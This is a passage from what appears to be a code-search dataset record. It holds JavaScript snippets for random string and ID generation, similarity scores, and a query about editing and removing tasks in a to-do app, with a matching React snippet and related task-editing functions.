stringLength; i++) {\n var rnd = Math.floor(Math.random() * alphabetLength);\n result += alphabet[rnd];\n }\n\n return result;\n }", "function generateRandomString() {\n return Math.random().toString(36).slice(2).substring(0, 6);\n}", "function generatePassword(characterAmount, includeUppercase,\n includeNumbers, includeSymbols) {\n \n \n var length = characterAmount;\n var charset = lowerCaseAlphabet;\n if(includeUppercase)charset+=upperCaseAlphabet\n if(includeNumbers)charset+=numbers\n if(includeSymbols)charset+=symbols\n var retVal = \"\";\n for (var i = 0, n = charset.length; i < length; ++i) {\n retVal += charset.charAt(Math.floor(Math.random() * n));\n }\n return retVal;\n }", "function generateRandomString(size) {\n var possible = 'abcdefghijklmnopqrstuvwxyz';\n var text = '';\n for (var i = 0; i < size; i++) {\n text += possible.charAt(Math.floor(Math.random() * possible.length));\n }\n return text;\n }", "function generateUUID() {\n let characters = ['a', 'b', 'c', 'd', 'e', 'f', \n '0', '1', '2', '3', '4', '5', '6', '7', '8', '9'];\n let sections = [8, 4, 4, 4, 12];\n\n let uuid = '';\n sections.forEach((section, sectionIndex) => {\n for (let i = 1; i <= section; i++) {\n let randomIndex = Math.floor(Math.random() * characters.length);\n uuid += characters[randomIndex];\n }\n\n if (sectionIndex < sections.length - 1) {\n uuid += '-';\n }\n });\n\n return uuid;\n}", "create_random_phrase(N) {\n let phrase = \"\";\n\n for (let n = 0; n < N; n++) {\n // Selects a random number in range [0, 128)\n // and converts to a string character\n let char = String.fromCharCode(random(32, 128));\n\n phrase += char;\n }\n\n return phrase;\n }", "function createEstablishmentCode() {\n let _lText = '';\n let _lPossible = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';\n for (let _i = 0; _i < 9; _i++) {\n _lText += _lPossible.charAt(Math.floor(Math.random() * _lPossible.length));\n }\n return _lText;\n}", "function makeId() {\n let text = \"\";\n const possible = \"abcdefghijklmnopqrstuvwxyz0123456789\";\n\n for (let i = 0; i < 5; i++)\n text += possible.charAt(Math.floor(Math.random() * possible.length));\n return text;\n}", "static getRandomToken(){\n let result = '';\n let characters = 'abcdefghijklmnopqrstuvwxyz0123456789';\n let charactersLength = characters.length;\n for (let i = 0; i < 50; i++ ) {\n result += characters.charAt(Math.floor(Math.random() * charactersLength));\n }\n return result;\n }", "function generateRandomString() {\n let rndString = '';\n rndString = Math.random().toString(36).substr(2, 6);\n return rndString;\n}", "function createCode(){\n\tlet code = '';\n\tlet numOfChars = 5;\n\tfor(let i = 0; i < numOfChars; i++){\n\t\tlet charIndex = Math.floor(Math.random() * chars.length);\n\t\tcode += chars[charIndex];\n\t}\n\treturn code;\n}", "function generateRandomString(){\n let length = 6;\n let result = \"\";\n const possible = \"ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz23456789\";\n // I've removed some characters that might cause confusion like O/0, I/l/1\n for (let i = 0; i < length; i++){\n result += possible.charAt(Math.floor(Math.random() * possible.length));\n }\n\n return result;\n}", "function generateRandomId() {\n var text = \"\";\n var possible = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";\n\n for (var i = 0; i < 5; i++)\n text += possible.charAt(Math.floor(Math.random() * possible.length));\n\n return text;\n}", "function generateRandomString(length) {\n let text = '';\n let possible = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';\n \n for (let i = 0; i < length; i++) {\n text += possible.charAt(Math.floor(Math.random() * possible.length));\n }\n return text;\n }", "function generateRandomString(){\n var randomShortString = \"\";\n var inputString = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";\n for (let i = 0; i < 6; i++) {\n randomShortString += inputString[Math.floor(Math.random() * inputString.length)];\n }\n return randomShortString;\n}", "function gen_special_char() {\r\n ref_list = '`~!#$%^*()_-+=[{]{|:;\"<,>./?';\r\n idx = Math.floor(Math.random() * ref_list.length);\r\n return ref_list[idx];\r\n}", "function generateRandomString() {\n let checkString = \"0123456789abcdefghijklmnopqrstuvwxyz\";\n let returnString = [];\n for (let i = 0; i < 6; i++) {\n let index = Math.floor(Math.random() * 36);\n returnString = `${returnString}${checkString[index]}`;\n }\n return returnString;\n}", "function random_string() {\n\tvar set_length = Math.floor( Math.random() * 9 +1 );\n var random_text = \"\";\n var alph = \"abcdefghijklmnopqrstuvwxyz\";\n\tfor( var i=0; i < set_length; i++ )\n random_text += alph.charAt(Math.floor(Math.random() * alph.length));\n\treturn random_text;\n}", "function generateRandomString() {\n let randomId = '';\n while (randomId.length < 6) {\n randomId += Math.floor(Math.random() * 9);\n randomId += String.fromCharCode(Math.floor(Math.random() * (122 - 97)) + 97);\n }\n randomId.toString();\n return randomId;\n}", "function generateRandomString(){\n return crypto.randomBytes(3).toString('hex');\n}", "function makeid() {\n var text = \"\";\n var possibleAlpha = \"ABCDEFGHJKLMNPQRSTUVWXYZ\";\n var possibleNum = \"0123456789\";\n var possibleEnding = \"ABCDEFGHJKLMNPQRSTUVWXYZ0123456789\";\n text += possibleAlpha.charAt(Math.floor(Math.random() * possibleAlpha.length));\n\n for (var i = 0; i < 5; i++){\n text += possibleNum.charAt(Math.floor(Math.random() * possibleNum.length));\n }\n\n text += possibleEnding.charAt(Math.floor(Math.random() * possibleEnding.length));\n\n return text;\n}", "function generateString(length) {\n let result = '';\n let characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';\n let charactersLength = characters.length;\n for (let i = 0; i < length; i++ ) {\n result += characters.charAt(Math.floor(Math.random() * charactersLength));\n }\n return result;\n}", "function makeid() {\n var text = '';\n var possible = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';\n \n for (var i = 0; i < 5; i++) {\n text += possible.charAt(Math.floor(Math.random() * possible.length));\n }\n return text;\n }" ]
[ "0.69888777", "0.669627", "0.6691219", "0.66865045", "0.6677665", "0.6671151", "0.6661366", "0.66596425", "0.66577905", "0.66567916", "0.66538095", "0.66532475", "0.6651045", "0.6650921", "0.6643651", "0.66301596", "0.66176325", "0.6615423", "0.6613344", "0.6608529", "0.66004974", "0.65978897", "0.6595199", "0.65893906", "0.6575057", "0.656012", "0.65566295", "0.6551626", "0.65515083", "0.65393096", "0.65287906", "0.6504761", "0.6495929", "0.6490821", "0.6487692", "0.6474599", "0.64707905", "0.64544517", "0.6447079", "0.6442649", "0.6441387", "0.64378995", "0.6437033", "0.6427606", "0.6425888", "0.6413784", "0.64029926", "0.6401504", "0.6378133", "0.63694614", "0.636783", "0.6362212", "0.6356381", "0.63474405", "0.63467294", "0.6345566", "0.6342772", "0.6333231", "0.63284266", "0.63228476", "0.63211197", "0.6314718", "0.6307925", "0.6305301", "0.6303873", "0.6302739", "0.62959456", "0.6292341", "0.62904173", "0.6282707", "0.6274568", "0.62741524", "0.6271544", "0.62653375", "0.62644976", "0.62532467", "0.6248954", "0.6239077", "0.6229412", "0.62261933", "0.6225725", "0.62143236", "0.61949164", "0.61939883", "0.6192503", "0.6187733", "0.6187582", "0.6181902", "0.61782855", "0.6175606", "0.6173307", "0.61627847", "0.6162762", "0.6158871", "0.6157571", "0.6147847", "0.61328894", "0.6125195", "0.6123855", "0.61230075" ]
0.7890595
0
todo editing and removing task feature
render() { return ( <div className="container"> <TaskForm onSubmit={task => this.setState({ tasks: [...this.state.tasks, task] }) } /> {this.state.tasks.length === 0 ? null : ( <TaskList tasks={this.state.tasks} /> )} </div> ); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "editTask(id, task) {\n\t\tlet tasks = this.getAndParse('tasks');\n\t\tconst idx = tasks.findIndex(task => task.id === id);\n\t\ttasks[idx].newTask = task;\n\t\tthis.stringifyAndSet(tasks, 'tasks');\n\t}", "function removeTask(){\n\t\t$(\".remove\").unbind(\"click\").click(function(){\n\t\t\tvar single = $(this).closest(\"li\");\n\t\t\t\n\t\t\ttoDoList.splice(single.index(), 1);\n\t\t\tsingle.remove();\n\t\t\ttoDoCount();\n\t\t\tnotToDoCount();\n\t\t\taddClear();\n\t\t});\n\t}", "function deleteTask (e){\n for (var i = 0 ; i< loginUser.tasks.length; i ++){\n if(parseInt(loginUser.tasks[i].id) === parseInt(e.target.getAttribute('data-id'))){\n if(loginUser.tasks[i].status === false){\n taskToDo--;\n $('#countOfTask').text('').text('Task to do: '+ taskToDo);\n }\n loginUser.tasks.splice(i, 1);\n $('#task' + e.target.getAttribute('data-id')).remove();\n collectionOfUser.update(\n {\n id : loginUser.id,\n tasks : loginUser.tasks\n },\n function(user){\n loginUser = user;\n },\n error \n );\n }\n }\n }", "applyEditTask() {\n let task = get(this, 'task');\n\n get(this, 'saveTask')(task).then((task) => {\n set(this, 'isEditingBody', false);\n this._fetchMentions(task);\n });\n }", "function add_task(tmp_task)\n {\n \n let tmp_id = tmp_task.id;\n \n //create a task \"item\"\n let tmp_html_task = html_editor.create_html_task(tmp_task);\n \n //create a new function for task item's checkbox\n let tmp_func = function(event)\n {\n //get id number from own id\n let tmp_id = event.target.id.match(/\\d+/)[0];\n let tmp_item = get_todos_by_id(curr_list, tmp_id);\n let tmp_bool = !tmp_item.completed;\n tmp_item.completed = tmp_bool;\n \n //cross out text/don't\n if(tmp_bool)\n {\n document.getElementById(\"content\" + tmp_id).classList.toggle(\"line-through\");\n }\n else\n {\n document.getElementById(\"content\" + tmp_id).classList.toggle(\"line-through\");\n }\n update_list(curr_list);//save to local storage\n update_count();//update displayed count\n \n }//end checkbox function\n \n //create new function for task item's delete button\n let tmp_func_del = function(event)\n {\n //get id of item though delete btn's id\n let tmp_id = event.target.id.match(/\\d+/)[0];\n delete_task(curr_list.todos, tmp_id);\n event.target.parentElement.parentElement.removeChild(\n event.target.parentElement);\n update_list(curr_list);//update local storage\n update_count();//update displayed count\n }//end del btn func\n \n //use item's checkbox handle to set it's checkbox click function\n tmp_html_task.checkbox_hndl.addEventListener(\"click\", tmp_func);\n \n //user item's del_btn handle to set delete button's function\n tmp_html_task.delete_btn_hndl.addEventListener(\"click\", tmp_func_del);\n \n //add task item to the html\n document.getElementById(\"tasks\").appendChild(tmp_html_task.item);\n \n }//END FUNC ADD TASK", "function editTask(e){\n ui.showEidtState();\n const id = e.target.parentElement.id.split('-')[1];\n http\n .get(`http://localhost:3000/Tasks/${id}`)\n .then(data => {\n ui.fillForm(data);\n });\n}", "function editTask(e) {\n\n // const projectid = document.querySelector('.edit_task_wrapper').getAttribute('data-id');\n const projectid = e.target.closest('.parent_wrapper').getAttribute('data-id');\n const taskid = document.querySelector('.edit_task_wrapper').getAttribute('data-taskid');\n\n\n const task_name = document.querySelector('.edit_name').value;\n const task_description = document.querySelector('.edit_description').value;\n const task_date = document.querySelector('.edit_date').value;\n let edited_priority = '';\n\n if (document.querySelector('.edit_priority1').checked)\n edited_priority = '1';\n else if (document.querySelector('.edit_priority2').checked)\n edited_priority = '2';\n else if (document.querySelector('.edit_priority3').checked)\n edited_priority = '3';\n else if (document.querySelector('.edit_priority4').checked)\n edited_priority = '4';\n\n if (task_name == '' || task_description == '' || task_date == '' || edited_priority == '')\n return;\n\n data.projects[projectid].tasks[taskid]._priority = edited_priority;\n data.projects[projectid].tasks[taskid]._title = task_name\n data.projects[projectid].tasks[taskid]._description = task_description\n data.projects[projectid].tasks[taskid]._date = task_date\n\n\n }", "handleEditTask (task_id, new_task_name) {\n this.model.editTask(task_id, new_task_name);\n }", "function updateTask(newTask) {\n let shouldTaskBeDeleted = shouldDeleteTask(newTask);\n if (shouldTaskBeDeleted == false) {\n selectedTask.querySelector('.task-desc').innerHTML = newTask.description;\n\n let taskDueDate = selectedTask.querySelector('.task-dueDate');\n taskDueDate.innerHTML = getDisplayDate(newTask.dueDate);\n if (taskDueDate.innerHTML != \"\") {\n taskDueDate.classList.remove('hidden');\n }\n\n newTask.isToday == true ? selectedTask.dataset.isToday = true : selectedTask.dataset.isToday = false;\n\n let isImportant = selectedTask.querySelector('.important-star');\n newTask.isImportant == true ? isImportant.classList.add('important') : isImportant.classList.remove('important');\n } else {\n deleteTask(selectedTask.id);\n }\n}", "function editTask() {\n vm.task = {};\n jQuery('#editTaskModal').modal('hide');\n }", "function editTask(){\n document.getElementById('taskPopup').style.display = \"block\";\n var taskEdit = document.getElementById('taskEdit');\n taskEdit.focus();\n // Get the list inner text\n var targetItem = this.parentNode.parentNode;\n var targetParent = this.parentNode.parentNode.parentNode;\n var targetParentId = targetParent.id;\n var oldTask = targetItem.innerText;\n document.getElementById('taskEdit').value = oldTask;\n \n document.getElementById('done').addEventListener(\"click\", function(){\n var newTask = taskEdit.value;\n if(newTask){\n targetItem.innerText = newTask;\n appendButtons(targetItem);\n document.getElementById('taskPopup').style.display = \"none\";\n document.getElementById('item').focus();\n\n // Replace the content of the database with the edited content\n if(targetParentId ==\"outstanding\"){\n currentList.outstanding.splice(currentList.outstanding.indexOf(oldTask), 1,targetItem.innerText);\n localStorage.setItem(\"storedList\", JSON.stringify(currentList));\n }else{\n currentList.completed.splice(currentList.completed.indexOf(oldTask), 1, targetItem.innerText);\n localStorage.setItem(\"storedList\", JSON.stringify(currentList));\n }\n }\n \n });\n\n document.getElementById('cancel').addEventListener('click', function(){\n document.getElementById('taskPopup').style.display = \"none\";\n document.getElementById('item').focus();\n });\n\n\n}", "function removeTask(event){\n // Get the index of the task to be removed\n let index = findIndexById(event.target.parentElement.id);\n\n // Confirm if the user wants to remove said task\n if(confirm(`Do you want to remove this task? \"${toDos[index].content}\"`)){\n // Use splice to delete the task object and reorder the array then update local storage\n toDos.splice(index, 1);\n ls.setJSON(key, JSON.stringify(toDos));\n\n // Update the list displayed to the user\n displayList();\n }\n}", "updateTask(task) {\n return instance.put('todo-lists/tasks', task);\n }", "saveEditTask(li, input) {\n let index = [...li.parentElement.children].indexOf(li);\n if (li.classList.contains(\"todo-list__item--done\")) {\n this.doneTaskArr.splice(index - 1, 1, input.value);\n this.taskToLocal(\"doneTask\", this.doneTaskArr);\n } else {\n this.undoneTaskArr.splice(index - 1, 1, input.value);\n this.taskToLocal(\"undoneTask\", this.undoneTaskArr);\n }\n input.disabled = true;\n input.classList.remove(\"todo-list__value--editable\");\n }", "edit_task(task_id) {\n this.task_to_change = task_id;\n console.log(\"EDIT ? : \", task_id);\n }", "function taskModified(data) {\n var task = $(\".task-wrapper[data-task='\" + data.taskId + \"']\");\n var newTask = $(data.partial);\n\n if ( isTaskMember(data) && task.length == 0) {\n s.tasks.prepend(newTask);\n $('.no-assigned-tasks-message').remove();\n }\n\n //remove the task if the user is no longer assigned to the task\n if ( !isTaskMember(data) && !isProjectAdmin() && task.length == 1) {\n task.remove();\n }\n\n $(\"#\" + data.taskId + \"-modal\").modal('hide');\n\n task.replaceWith(newTask);\n\n //remove the settings button if not a project admin\n if ( !isProjectAdmin() ) {\n newTask.find('.task-overview__settings-button').remove();\n }\n\n $(\".modal-form__member-select\").select2();\n\n }", "function editTasks(e) {\n\t\n\tlet state = 1;\n\t\n\tconst editButton = e.target;\n\tconst originalText = e.target.parentElement.querySelector('li').innerHTML;\n\t\n\teditButton.innerHTML = 'Done';\n\n\tconst input = document.createElement('input');\n\tinput.className = 'editTask';\n\tinput.setAttribute('type', 'text');\n\t\n\tconst form = document.createElement('form');\n\tform.setAttribute('action', '#');\n\tform.appendChild(input);\n\t\n\tconst button = document.createElement('button');\n\tbutton.style.display = 'none';\n\tform.appendChild(button);\n\t\n\t\n\tconst parentDiv = editButton.parentElement;\n\tconst childLi = parentDiv.querySelector('li');\n\t\n\tinput.value = childLi.innerHTML;\n\t\n\tparentDiv.insertBefore(form, childLi.nextSibling);\n\tparentDiv.removeChild(childLi);\n\t\n\tinput.focus();\n\tinput.select();\n\t\n\t//eventlistener for input element\n\tbutton.addEventListener('click', temp);\n\t\n\tfunction temp(e) {\n\t\t\n\t\tif(input.value !== '') {\n\t\t\tconst liElem = document.createElement('li');\n\t\t\tliElem.appendChild(document.createTextNode(input.value));\n\t\t\t\n\t\t\tparentDiv.insertBefore(liElem, parentDiv.querySelector('.edit-button'));\n\t\t\tparentDiv.removeChild(form);\n\t\t\t\n\t\t\teditButton.innerHTML = 'Edit';\n\t\t\tliElem.addEventListener('click', addTaskDescription);\n\t\t\t\n\t\t\tdocument.body.removeEventListener('click', temp2);\n\t\t\tbutton.removeEventListener('click', temp);\n\t\t\teditButton.addEventListener('click', editTasks);\n\t\t}\n\t\telse {\n\t\t\tinput.className = 'editTask editTask-focus';\n\t\t\tinput.focus();\n\t\t\t\n\t\t\tbutton.removeEventListener('click', temp);\n\t\t\tdocument.body.removeEventListener('click', temp2);\n\t\t\t\n\t\t\tbutton.addEventListener('click', temp);\n\t\t\tdocument.body.addEventListener('click', temp2);\n\t\t}\n\t\t\n\t\te.preventDefault();\n\t}\n\t\n\tdocument.body.addEventListener('click', temp2);\n\t\n\tfunction temp2(e) {\n\t\t\n\t\tif(e.target !== editButton) {\n\t\t\tif(e.target !== input) {\n\t\t\t\tif(input.value !== '') {\n\t\t\t\t\tconst liElem = document.createElement('li');\n\t\t\t\t\tliElem.appendChild(document.createTextNode(input.value));\n\t\t\n\t\t\t\t\tparentDiv.insertBefore(liElem, parentDiv.querySelector('.edit-button'));\n\t\t\t\t\tparentDiv.removeChild(form);\n\t\t\t\t\n\t\t\t\t\teditButton.innerHTML = 'Edit';\n\t\t\t\t\tliElem.addEventListener('click', addTaskDescription);\n\t\t\t\t\n\t\t\t\t\tbutton.removeEventListener('click', temp);\n\t\t\t\t\tdocument.body.removeEventListener('click', temp2);\n\t\t\t\t\teditButton.addEventListener('click', editTasks);\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tif(e.target.innerHTML !== 'Done') {\n\t\t\t\t\t\tinput.className = 'editTask editTask-focus';\n\t\t\t\t\t\tinput.focus();\n\t\t\t\t\n\t\t\t\t\t\tbutton.removeEventListener('click', temp);\n\t\t\t\t\t\tdocument.body.removeEventListener('click', temp2);\n\t\t\t\t\n\t\t\t\t\t\tbutton.addEventListener('click', temp);\n\t\t\t\t\t\tdocument.body.addEventListener('click', temp2);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tconst liElem = document.createElement('li');\n\t\t\t\t\t\tliElem.appendChild(document.createTextNode(originalText));\n\t\t\n\t\t\t\t\t\tparentDiv.insertBefore(liElem, parentDiv.querySelector('.edit-button'));\n\t\t\t\t\t\tparentDiv.removeChild(form);\n\t\t\t\t\n\t\t\t\t\t\teditButton.innerHTML = 'Edit';\n\t\t\t\t\t\tliElem.addEventListener('click', addTaskDescription);\n\t\t\t\t\n\t\t\t\t\t\tbutton.removeEventListener('click', temp);\n\t\t\t\t\t\tdocument.body.removeEventListener('click', temp2);\n\t\t\t\t\t\teditButton.addEventListener('click', editTasks);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} \n\t\t} else if(e.target === editButton) {\n\t\t\tif(state == 2) {\n\t\t\t\tif(input.value !== '') {\n\t\t\t\t\tconst liElem = document.createElement('li');\n\t\t\t\t\tliElem.appendChild(document.createTextNode(input.value));\n\t\t\n\t\t\t\t\tparentDiv.insertBefore(liElem, parentDiv.querySelector('.edit-button'));\n\t\t\t\t\tparentDiv.removeChild(form);\n\t\t\t\t\n\t\t\t\t\teditButton.innerHTML = 'Edit';\n\t\t\t\t\tliElem.addEventListener('click', addTaskDescription);\n\t\t\t\t\n\t\t\t\t\tbutton.removeEventListener('click', temp);\n\t\t\t\t\tdocument.body.removeEventListener('click', temp2);\n\t\t\t\t\te.target.addEventListener('click', editTasks);\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tinput.className = 'editTask editTask-focus';\n\t\t\t\t\tinput.focus();\n\t\t\t\t\n\t\t\t\t\tbutton.removeEventListener('click', temp);\n\t\t\t\t\tdocument.body.removeEventListener('click', temp2);\n\t\t\t\t\n\t\t\t\t\tbutton.addEventListener('click', temp);\n\t\t\t\t\tdocument.body.addEventListener('click', temp2);\n\t\t\t\t}\n\t\t\t} else if(state == 1) {\n\t\t\t\tstate = state + 1;\n\t\t\t\te.target.removeEventListener('click', editTasks);\n\t\t\t}\n\t\t}\n\t}\n}", "function addTask(){\n\t\tif (item.value.length >= 1) {\n\t\t\tincompleteUl.append('<li>' + '<p>' + item.value + '</p>' + complete + remove + '</li>');\n\t\t\ttoDoList.push(item.value);\n\t\t}else {\n\t\t\talert(\"Please add a task\");\n\t\t}\n\n\t\ttoDoCount();\n\t\tnotToDoCount();\n\t\tcompleteTask();\n\t\tremoveTask();\n\t\taddClear();\n\t\titem.value = \"\";\n\t}", "function deleteOrCheckTask(e) {\r\n const className = 'delete-icon';\r\n const classNameValid = 'valid-icon';\r\n let element = e.target;\r\n const item = element.className;\r\n let StoreTask = e.target.parentElement;\r\n const attribute = StoreTask.getAttribute(\"attribute\");\r\n //Get child node index\r\n let index = Array.prototype.indexOf.call(StoreTask.parentElement.children, StoreTask);\r\n\r\n //remove the task when is checked\r\n if (item == className && attribute) {\r\n todos.splice(index, 1);\r\n StoreTask.remove();\r\n //update the new array in the localstorage\r\n localStorage[\"todos\"] = JSON.stringify(todos);\r\n\r\n } else if (item == className) {\r\n customBox.innerHTML = '<p>Not Done Yet !</p>';\r\n modalShow();\r\n }\r\n\r\n //change the icon from checked or not\r\n if (item == classNameValid) {\r\n let icon = element.getAttribute(\"src\");\r\n StoreTask.childNodes[1].classList.toggle(\"taskDone\");\r\n\r\n if (icon == \"icons/blackcheck.svg\") {\r\n icon = \"icons/greencheck.svg\";\r\n element.setAttribute(\"src\", icon);\r\n StoreTask.setAttribute(\"attribute\", \"complete\");\r\n todos.splice(index, 1, StoreTask.outerHTML);\r\n\r\n } else if (icon == \"icons/greencheck.svg\") {\r\n icon = \"icons/blackcheck.svg\";\r\n element.setAttribute(\"src\", icon);\r\n StoreTask.removeAttribute(\"attribute\", \"complete\");\r\n todos.splice(index, 1, StoreTask.outerHTML);\r\n }\r\n localStorage[\"todos\"] = JSON.stringify(todos);\r\n }\r\n\r\n //Edit The Task\r\n let classTask = 'task';\r\n let taskValue, newTaskValue;\r\n if (item === classTask) {\r\n element.setAttribute(\"contenteditable\", \"true\")\r\n element.focus();\r\n taskValue = element.textContent;\r\n\r\n element.addEventListener('focusout', () => {\r\n newTaskValue = element.textContent;\r\n element.removeAttribute(\"contenteditable\", \"true\");\r\n if (newTaskValue.length >= 2) {\r\n todos.splice(index, 1, StoreTask.outerHTML);\r\n localStorage[\"todos\"] = JSON.stringify(todos);\r\n } else {\r\n element.textContent = taskValue;\r\n customBox.innerHTML = '<p>Minimum 2 characters</p>';\r\n modalShow();\r\n }\r\n });\r\n }\r\n filter()\r\n}", "function addTaskDetailEdit(taskToAdd) { \r\n let filteredTasks = taskDetail.filter((task) => {\r\n return task.id !== taskToAdd.id;\r\n });\r\n \r\n let newTaskList = [...filteredTasks, taskToAdd];\r\n \r\n setTaskDetail(newTaskList);\r\n \r\n saveTaskDetailToLocalStorage(newTaskList);\r\n }", "function changeTask(event) {\n event.preventDefault();\n const key = Number(event.target.getAttribute(\"data-id\"));\n const title = document.querySelector(\"#editTitle\").value;\n const description = document.querySelector(\"#editDescription\").value;\n const task = {title, description, key};\n const form = document.querySelector(\"#task-edit\")\n const transaction = database.saveChanges(task, () => form.reset());\n transaction.oncomplete = () => {\n closeModal();\n console.log(\"Task edited successfully!\");\n showTasks();\n }\n }", "function Task() {\n // const getTask = (name, priority, date, projectid) => {\n // const task = {};\n // const storage = StorageTasks();\n // const dataSize = storage.getDataLength(TASK_KEY);\n // task.name = name;\n // task.id = dataSize;\n // task.priority = priority;\n // task.duedate = date;\n // task.projectid = projectid;\n // return task;\n // };\n // const AppendTasksToContainer = (tasksArr, tasksDiv) => {\n // for (let i = 0; i < tasksArr.length; i++) {\n // const item = document.createElement(\"li\");\n // item.setAttribute(\"data-id\", tasksArr[i].id);\n // item.setAttribute(\"id\", \"task-item\");\n // item.innerText = `${tasksArr[i].name} ${tasksArr[i].priority} ${tasksArr[i].duedate}`;\n // const delBtn = document.createElement(\"button\");\n // delBtn.innerText = \"del\";\n // delBtn.setAttribute(\"id\", \"task-delete\");\n // delBtn.setAttribute(\"data-id\", tasksArr[i].id);\n // item.appendChild(delBtn);\n // tasksDiv.appendChild(item);\n // }\n // return tasksDiv;\n // };\n // const makeTaskList = (tasksArr) => {\n // const tasksDiv = document.createElement(\"ul\");\n // tasksDiv.setAttribute(\"id\", \"tasks-list\");\n // return AppendTasksToContainer(tasksArr, tasksDiv);\n // };\n // const getTasksContainer = () => document.querySelector(\"#tasks-list\");\n // const removeTasks = () => {\n // const tasksContainer = getTasksContainer();\n // while (tasksContainer.firstChild) {\n // tasksContainer.removeChild(tasksContainer.firstChild);\n // }\n // };\n // const updateTaskListDisplay = (tasksArr) => {\n // removeTasks();\n // const TasksContainer = getTasksContainer();\n // return AppendTasksToContainer(tasksArr, TasksContainer);\n // };\n // return { getTask, makeTaskList, updateTaskListDisplay };\n}", "removeTask(e) {\n const index = e.target.parentNode.dataset.key;\n this.tasks.removeTask(index);\n this.renderTaskList(this.tasks.tasks);\n this.clearInputs();\n }", "editExisting(inID) {\n\n // Get the task from local storage and set it on the form. If we can't\n // find it then that means the user clicked a category node. In that case,\n // we're just going to toggle it's open/close state.\n const tasks = JSON.parse(localStorage.getItem(\"TasksDB\"));\n const task = tasks[inID];\n if (!task) {\n if ($$(\"moduleTasks-items\").isBranchOpen(inID)) {\n $$(\"moduleTasks-items\").close(inID);\n } else {\n $$(\"moduleTasks-items\").open(inID);\n }\n return;\n }\n\n // Set flag to indicate editing an existing task and show the details.\n wxPIM.isEditingExisting = true;\n wxPIM.editingID = inID;\n\n // Clear the details form.\n $$(\"moduleTasks-detailsForm\").clear();\n\n // Show the form. Note that this has to be done before the call to\n // setValues() below otherwise we get an error due to setting the value of\n // the richtext (my guess is it lazy-builds the DOM and it's not actually\n // there until the show() executes.\n $$(\"moduleTasks-details\").show();\n\n // Special handling for dates.\n if (task.dueDate) {\n task.dueDate = new Date(task.dueDate);\n }\n\n // Populate the form.\n $$(\"moduleTasks-detailsForm\").setValues(task);\n\n // Finally, enable the delete button.\n $$(\"moduleTasks-deleteButton\").enable();\n\n }", "function doEdit(){\n\n\n if(validation() == false)\n return ;\n\n doEditInLocalstorage(prevli) ;\n doEditInShowList(prevli) ;\n\n\n /*********** Going back to again add Task Field ************/ \n \n document.getElementById(\"task\").value = \"\" ;\n document.getElementById(\"editButton\").style.display = 'none' ;\n document.getElementById(\"addButton\").style.display = 'block' ;\n\n /***************** End ***********************/\n\n\n }", "function deleteTask(e) {\n let index = this.dataset.index;\n let tyList = this.parentElement.parentElement.parentElement;\n if (tyList.getAttribute(\"id\") == \"lists\") {\n tasks.splice(index, 1);\n localStorage.setItem(\"tasks\", JSON.stringify(tasks));\n render(lists, tasks);\n }\n if (tyList.getAttribute(\"id\") == \"listOfChecked\") {\n tasksChecked.splice(index, 1);\n localStorage.setItem(\"tasksChecked\", JSON.stringify(tasksChecked));\n render(listOfChecked, tasksChecked);\n }\n}", "function editTasks(e) {\n\t//Creating new input element for replacing the li element inside the task div\n\t\n\tlet state = 1;\n\t\n\tconst editButton = e.target;\n\tconst originalText = e.target.parentElement.querySelector('li').innerHTML;\n\t\n\teditButton.innerHTML = 'Done';\n\n\tconst input = document.createElement('input');\n\tinput.className = 'editTask';\n\tinput.setAttribute('type', 'text');\n\t\n\tconst form = document.createElement('form');\n\tform.setAttribute('action', '#');\n\tform.appendChild(input);\n\t\n\tconst button = document.createElement('button');\n\tbutton.style.display = 'none';\n\tform.appendChild(button);\n\t\n\t\n\tconst parentDiv = editButton.parentElement;\n\tconst childLi = parentDiv.querySelector('li');\n\t\n\tinput.value = childLi.innerHTML;\n\t\n\tparentDiv.insertBefore(form, childLi.nextSibling);\n\tparentDiv.removeChild(childLi);\n\t\n\tinput.focus();\n\t\n\t//eventlistener for input element\n\tbutton.addEventListener('click', temp);\n\t\n\tfunction temp(e) {\n\t\t\n\t\tif(input.value !== '') {\n\t\t\tconst liElem = document.createElement('li');\n\t\t\tliElem.appendChild(document.createTextNode(input.value));\n\t\t\t\n\t\t\tparentDiv.insertBefore(liElem, parentDiv.querySelector('.edit-button'));\n\t\t\tparentDiv.removeChild(form);\n\t\t\t\n\t\t\teditButton.innerHTML = 'Edit';\n\t\t\t\n\t\t\tdocument.body.removeEventListener('click', temp2);\n\t\t\tbutton.removeEventListener('click', temp);\n\t\t\teditButton.addEventListener('click', editTasks);\n\t\t}\n\t\telse {\n\t\t\tinput.className = 'editTask editTask-focus';\n\t\t\tinput.focus();\n\t\t\t\n\t\t\tbutton.removeEventListener('click', temp);\n\t\t\tdocument.body.removeEventListener('click', temp2);\n\t\t\t\n\t\t\tbutton.addEventListener('click', temp);\n\t\t\tdocument.body.addEventListener('click', temp2);\n\t\t}\n\t\t\n\t\te.preventDefault();\n\t}\n\t\n\tdocument.body.addEventListener('click', temp2);\n\t\n\tfunction temp2(e) {\n\t\t\n\t\tif(e.target !== editButton) {\n\t\t\tif(e.target !== input) {\n\t\t\t\tif(input.value !== '') {\n\t\t\t\t\tconst liElem = document.createElement('li');\n\t\t\t\t\tliElem.appendChild(document.createTextNode(input.value));\n\t\t\n\t\t\t\t\tparentDiv.insertBefore(liElem, parentDiv.querySelector('.edit-button'));\n\t\t\t\t\tparentDiv.removeChild(form);\n\t\t\t\t\n\t\t\t\t\teditButton.innerHTML = 'Edit';\n\t\t\t\t\n\t\t\t\t\tbutton.removeEventListener('click', temp);\n\t\t\t\t\tdocument.body.removeEventListener('click', temp2);\n\t\t\t\t\teditButton.addEventListener('click', editTasks);\n\t\t\t\t}\n\t\t\t\telse 